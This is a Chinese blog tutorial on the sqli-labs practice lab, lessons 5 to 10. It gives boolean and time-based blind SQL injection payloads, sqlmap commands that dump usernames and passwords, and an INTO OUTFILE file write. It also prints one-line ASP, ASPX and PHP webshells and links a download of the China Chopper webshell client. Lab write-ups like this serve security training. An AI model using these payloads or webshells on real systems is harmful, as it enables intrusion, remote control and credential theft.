zoukankan      html  css  js  c++  java
  • 基础知识补充及sqli-labs Less 5-10

    基础知识补充2: 

    1.left():left(database(),1)='s' left(a,b)从左侧截取a的前b位,正确则返回1,错误则返回0

    2.regexp:select user() regexp'r' user()的结果是root,regexp为匹配root的正则表达式(实验之后正确返回为1,错误返回0)

    3.like:select user() like'ro%' 用法与regexp一样

    4.substr(a,b,c) select substr() xxxx Substr(a,b,c)从位置b开始,截取a字符串c位长度

    5.ascii() 将某个字符串转化为ascii值

    6.chr('数字') 或者是ord('字母') 使用python中的两个函数可以判断当前的ascii值是多少

     

    对于security数据库:
      select left (database(),1)=’s’; 从左侧截取database()的前1位,判断是否是s,正确为1,错误为0
      select database() regexp ’s’; 匹配第1个字符是否是s
      select database() like ‘s%’; 匹配第1 个字符是否是s
      select substr((select database()),1,1)=’s’;
      select database() 看当前所在的数据库,例子中为security
                 substr((security),1,1) 从第一位开始截取security的1位长度,即匹配第一个字符是否是s
      select substr((select database()),1,3)=’sec’; 匹配前三个字符是否是sec
      select ascii(substr((select database()),1,1)); 直接回显115 ;
      select ascii(substr((select database()),1,1))>110; 如果大于110,就会返回1,否则返回0。

    Less-5:使用’1’进行包裹

      初始为http://127.0.0.1/sqli-labs-master/Less-5/?id=1 ,此时回显结果为You are in…………

      当输入?id=123页面显示如下:

       说明页面没有显示位。无法使用联合查询注入,因为此时没有账号密码的信息 所以这个时候不能再用union select,使用http://127.0.0.1/sqli-labs-master/Less-5/?id=1'and left((select database()),1)='s'--+,判断数据库第一个字符是不是s,发现无法显示:

       显然现在使用这种方式无法获取到用户名和密码,所以我们换一种方式:使用SqlMap工具进行注入(Sql-map使用教程https://www.cnblogs.com/ichunqiu/p/5805108.html 或 https://www.jianshu.com/p/65d7522ecc1f)。

      我们打开sqlmap,它的命令的格式样式使这样的:python sqlmap.py -u  http://localhost/sqli-labs-master/sqli-labs-master/Less-5/?id=1

      红色部分是每一次命令的前缀,蓝色部分是在Harkbar上输入的网络地址,命令的含义与Harkbar并无二致。

      1.这条命令是在检查是否存在注入漏洞,如果显示则有注入漏洞:

      2.获取所有的数据库信息:

      python sqlmap.py -u  http://localhost/sqli-labs-master/sqli-labs-master/Less-5/?id=1 --dbs

     

       3.指定库名列出所有表:

      python sqlmap.py -u  http://localhost/sqli-labs-master/sqli-labs-master/Less-5/?id=1 -D security --tables

     

       4.指定库名表名列出所有字段,我们显然更加关注users这个表,因为我们要获取的是用户名和密码:

      python sqlmap.py -u  http://localhost/sqli-labs-master/sqli-labs-master/Less-5/?id=1 -D security -T users --columns

     

       5.指定库名表名字段列出指定字段,我们看到有id,password,username,所以接下来当然就是把应虎门和密码爆破出来:

      python sqlmap.py -u  http://localhost/sqli-labs-master/sqli-labs-master/Less-5/?id=1 -D security -T users --columns -C username,password --dump

     

     目的达到,Less-5完成。

    Less-6:使用“1”进行包裹

      情况与Less-5相同,均需要sqlmap注入,具体步骤参考Less-5

      命令如下:

      python sqlmap.py -u  http://localhost/sqli-labs-master/sqli-labs-master/Less-5/?id=1“ --+

      python sqlmap.py -u  http://localhost/sqli-labs-master/sqli-labs-master/Less-5/?id=1“ --+ --dbs

      python sqlmap.py -u  http://localhost/sqli-labs-master/sqli-labs-master/Less-5/?id=1“ --+ -D security --tables

      python sqlmap.py -u  http://localhost/sqli-labs-master/sqli-labs-master/Less-5/?id=1“ --+  -D security -T users --columns

      python sqlmap.py -u  http://localhost/sqli-labs-master/sqli-labs-master/Less-5/?id=1“ --+ -D security -T users --columns -C username,password --dump

    【基础知识补充3】:

      

      在Mysql中输入show variables like ‘%secure%’; ,发现读出来的secure_file_priv 显示为空(NULL),会禁止数据导入导出,所以我们需要做一些操作来解决这个问题:

      解决方法:打开phpstudy——mysql——my.ini——添加一句:secure_file_priy=”/”(右击使用Notepad打开容易修改):

     然后再在Mysql中输入命令,发现如下图所示,即为正常:

     

    【一句话木马及中国菜刀的使用】:

      往目标网站中加入一句话木马,然后你就可以在本地通过中国菜刀chopper.exe即可获取和控制整个网站目录:

      asp的一句话是:

        <%eval request ("pass")%>
      aspx的一句话是:

        <%@ Page Language="Jscript"%> <%eval(Request.Item["pass"],"unsafe");%>
      php的一句话是:

        <?php @eval($_POST['pass']);?>
      我们这里使用的网页时是PHP的,所以我们使用php的一句话木马。在C:phpStudyWWW路径下(如果路径不在这里自行变通,寻找到WWW文件夹),新建test.php文件夹,在其中将php一句话木马复制进去,注意这句语言中的‘pass’是密码,可以自行设置,把pass修改即可:

     然后使用火狐浏览器访问,我们发现打开后里面没有东西:

     接下来我们需要中国菜刀了,可以在以下网盘地址下载:

      链接:https://pan.baidu.com/s/1A4v42kL0ieu3ZtHZJZ1FoQ

      提取码:v369

      然后通过下载解压后打开:

       我们右击点击“添加”,把火狐浏览器中的地址复制到菜刀的地址栏中,后面填写刚刚test.php中一句话木马设置的密码,下方的脚本类型改为PHP,点击添加,然后双击我们新创建的地址,发现可以访问整个网站目录:

    Less-7:?id=1’)) 进行操作

       这一关是在火狐中用outfile的方式在目的路径下创建一个文件夹,并把内容输入进去:


      1.我们正常输入?id=1页面回显如下:

      2.当我们输入 and 1=2 页面显示依然正常,说明不是数值型注入:

      3.当我们输入?id=1'页面报错,说明可能存在"注入:

      4..当我们输入?id=1' --+页面显示依然不正常,接下来多次实验,添加符号直到正确:

      5.发现?id=1'))正确:

      6. 由于本关卡提示我们使用file权限向服务器写入文件,我们就先尝试下写数据,取一个目录:
      C:phpStudyMySQLdata
     
      然后在火狐上写下语句,注意路径要用双引号括起来,里面的”“或者”/”,都需要换成“\”,在最后添加所创建的文件夹的名字及格式,这里我创建了“hui.php”:
      命令为:
      http://192.168.1.1/sqli-labs-master/Less-7/?id=1'))union select 1,2,3 into outfile "C:\phpStudy\MySQL\data\hui.php"--+

       7.我们看到文件夹中已经创建成功:

       双击打开看里面的内容:

       写入成功。

    Less-8:?id=1’进行操作

       操作方式与Less-5相同,使用sqlmap进行访问,猜测出用户名与密码。这里我们使用另外一种方法进行布尔盲注:用Burp Suite。

      我们打开Burp Suite,在火狐浏览器中选择“工具”-“选项”-“高级”-“设置”,然后选择手动配置代理,HTTP选择127.0.0.1,端口是8080,点击确定。然后在Burp Suite中点击Proxy-Intercept,点击其中的Intercept is off,使它变为Intercept is on。在火狐中点击Execute,BurpSuite中就会出现结果。

       将文本全部选中,右击点击Send to Inturder,然后点击上面的Inturder,点击Positions,然后出现下图页面:

       熟悉了方法后,接下来我们就把用于检验数据库名字母的left语句在火狐上敲出来,然后传到Burp上进行操作。转到火狐,把left相关命令打出来:

      http://192.168.1.1/sqli-labs-master/Less-8/?id=1'and left ((select database()),1)='a'--+

      这里我假设select database()的首字母为a,我们在Mysql中如果输入命令select database(),当然知道现在所处的数据库是security,但是我们进行sql注入侵入别人的数据库是不知道当前的数据库状态的,当然应该从字母a开始检验。按照上面的方法我们把命令传入Burp,然后点击Send to Inturder, 点击Position,就变成了下面的状态:

       可以看到语句被类似于$选中了,点击右侧的Clear,去掉符号:

       然后选中a,点击Add$来选中它:

     之后点到Payloads,其中的Payload type选择Brute forcer,即暴力破解,把下一部分的Character set中的数字删除,因为数据库名没有数字,下面的最长和最短都选为1:

      点到Options,Number of threads选择30,点击菜单栏的Intruder,选择Start attack:

       然后弹出来一个新的对话框,比较Length一列,发现s的数值与其他字母均不同,这种情况就说明首字母为s:

       点击这一列,出现新的对话框,点击Response,一直下拉发现有”You are in.........“字样,说明语句执行成功:

       然后修改命令,开始检测第二位:

      http://192.168.1.1/sqli-labs-master/Less-8/?id=1'and left ((select database()),2)='sa'--+

      第三位:

      http://192.168.1.1/sqli-labs-master/Less-8/?id=1'and left ((select database()),3)='sea'--+

      均如法炮制即可,在Burp中用$包裹时,注意每一次都包裹a,如:s$a$,se$a$。如此循环往复,只要在火狐中修改相应的命令,就能够得到想要的用户名和密码,但是这种盲注过于繁琐,所以也可以用Lees-5中的方法。

     

    Less-9:?id=1’进行操作

      我们还是进行常规的实验,输入?id=1 或者?id=1’,发现均不报错,继续尝试下去,发现前面所学的都试了之后,都没有报错的情况。这种情况下我们可以采取一种特殊的方式来判断:时间盲注。

      输入?id=1’ and sleep(5)--+,发现我们使用这个语句的时候,下方标出的数值告诉我们网页会停顿5秒,所以存在注入漏洞:

       接下来我们运用length语句来猜测数据库长度,判断的标准就是返回的时间,当输入的位数符合数据库的正确位数时,返回的事件会非常短,而如果不相符时,返回的时间会根据语句中要求的sleep长度进行停顿,如图所示我使用的语句是:

      http://192.168.1.1t/sqli-labs-master/sqli-labs-master/Less-9/?id=1'and if(length(database())=8,1,sleep(5))--+

       而把语句中的8改为其他数字时,返回值时间为设定的五秒左右:

      http://192.168.1.1t/sqli-labs-master/sqli-labs-master/Less-9/?id=1'and if(length(database())=9,1,sleep(5))--+

       接下来的方法可以自己选择,可以选择Less-8中的Burp Suite来确定数据库名,这里我们继续选择时间盲注。我们用ASCII码语句来确认字母,使用if语句来创建满足的条件,ascii码函数来将字符转化为ascii码值从而知道是哪个字母,使用substr函数来截取字符串长度,这里我们截取数据库名的字母。语句如下所示;

      http://192.168.1.1/sqli-labs-master/sqli-labs-master/Less-9/?id=1'and if(ascii(substr((select schema_name from information_schema.schemata limit 5,1)1,1))>150,1,sleep(5))--+

      这条语句的含义是,substr函数把数据库名中的字母取出来,每次只取一位,然后ascii函数将字母转化为ascii码值,与后面的数字比较,看是否大于或小于这个数,这里可以运用二分法,判断这个ascii码的取值范围并不断缩小区间,最后判断ascii码是否等于一个数字,返回正确则检索成功。

       经过多次实验,我们可以发现在等于112时迅速返回,使用python中的chr函数转化,说明此时字母为p:

       如此循环往复即可判断所有的数据库名。

    Less-10:?id=1’’ 进行操作

      http://192.168.1.1/sqli-labs-master/sqli-labs-master/Less-10/?id=1" and sleep(5)--+

      其余的跟第九关一样。

  • 相关阅读:
    聊聊Unity2018的LWRP和混合光照
    不能直接获取?聊聊如何在Shader Graph中获取深度图
    还原堆栈信息,分析地形系统使用ASTC格式的纹理导致Crash的问题
    巧妙设置Texture Type,将ShadowMask内存占用变成之前的1/4
    开发自定义ScriptableRenderPipeline,将DrawCall降低180倍
    Signed Distance Field Shadow in Unity
    Daily Pathtracer!安利下不错的Pathtracer学习资料
    聊聊LightProbe原理实现以及对LightProbe数据的修改
    Scala学习笔记(六):本地函数、头等函数、占位符和部分应用函数
    Scala学习笔记(五):内建控制循环
  • 原文地址:https://www.cnblogs.com/FHBBS/p/12256660.html
Copyright © 2011-2022 走看看